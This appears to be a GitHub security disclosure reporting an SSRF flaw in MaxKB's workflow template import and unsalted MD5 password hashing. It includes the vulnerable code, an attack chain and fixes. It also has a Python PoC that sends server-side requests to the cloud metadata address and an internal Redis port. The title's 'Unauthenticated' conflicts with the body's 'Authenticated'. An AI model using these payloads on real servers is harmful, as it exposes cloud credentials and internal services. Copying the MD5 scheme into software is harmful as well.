Skip to content

[Security] SSRF via Workflow Template Import (CVSS 6.9) + Unsalted MD5 Password Hashing (CVSS 7.3) #5241

@icysun

Description

@icysun

MaxKB: Unauthenticated SSRF via Workflow Template Import + Weak Password Hashing

Summary

MaxKB has two confirmed security vulnerabilities:

  1. SSRF via work_flow_template Import (P1): Authenticated users can supply arbitrary URLs in work_flow_template.downloadUrl which are fetched server-side without any URL validation or internal IP filtering. No blacklist for private IP ranges (RFC1918, link-local, cloud metadata).

  2. Weak Password Hashing (P1): User passwords are stored using unsalted MD5 hashes, making them trivially crackable via rainbow tables or GPU-accelerated brute force (hashcat).

Affected Versions

  • maxkb-dev/maxkb (all versions)
  • apps/application/serializers/application.py:524-526 (SSRF)
  • apps/common/utils/common.py:30-38 (weak hashing)

CVSS v4.0

#1 SSRF: 6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N

#2 Weak Password Hashing: 7.3 (High)
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N

Details

Vulnerability 1: SSRF via work_flow_template

File: apps/application/serializers/application.py:524-526

download_url = work_flow_template.get('downloadUrl')
res = requests.get(download_url, timeout=5)

downloadUrl comes directly from user request payload with no URL validation. The server fetches any arbitrary URL, including internal network addresses and cloud metadata endpoints.

Attack Chain:

  1. Authenticated user creates/updates an application
  2. Sets work_flow_template.downloadUrl to http://169.254.169.254/latest/meta-data/
  3. Server fetches the URL without validation
  4. Response content is parsed by import_(), enabling internal network reconnaissance

Vulnerability 2: Unsalted MD5 Password Hashing

File: apps/common/utils/common.py:30-38

def password_encrypt(row_password):
    md5 = hashlib.md5()
    md5.update(row_password.encode())
    return md5.hexdigest()

Used for real user password storage (confirmed in login, user creation, and password change flows). No salt means identical passwords produce identical hashes, and precomputed rainbow tables can crack them in seconds.

PoC

import requests

TARGET = "https://maxkb.example.com"
API_KEY = "your-api-key"

# SSRF - access cloud metadata
resp = requests.post(f"{TARGET}/api/application/work_flow/template", 
    headers={"Authorization": f"Bearer {API_KEY}"},
    json={"downloadUrl": "http://169.254.169.254/latest/meta-data/"},
    timeout=10)
print(f"SSRF Status: {resp.status_code}")
print(f"Response: {resp.text[:500]}")

# SSRF - scan internal Redis
resp = requests.post(f"{TARGET}/api/application/work_flow/template",
    headers={"Authorization": f"Bearer {API_KEY}"},
    json={"downloadUrl": "http://127.0.0.1:6379/info"},
    timeout=10)
print(f"Redis Info: {resp.text[:500]}")

Remediation

  1. SSRF: Add URL validation: block private IP ranges (RFC1918, link-local, cloud metadata), restrict allowed protocols (HTTP/HTTPS only), implement DNS rebinding protection.
  2. Password Hashing: Replace MD5 with bcrypt, scrypt, or Argon2 with per-user salt.

References

  • CWE-918: Server-Side Request Forgery
  • CWE-916: Use of Password Hash With Insufficient Computational Effort

Discoverer

IcySun & Yashon
icysun@qq.com

CVE Request

We request CVE assignment for both vulnerabilities.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions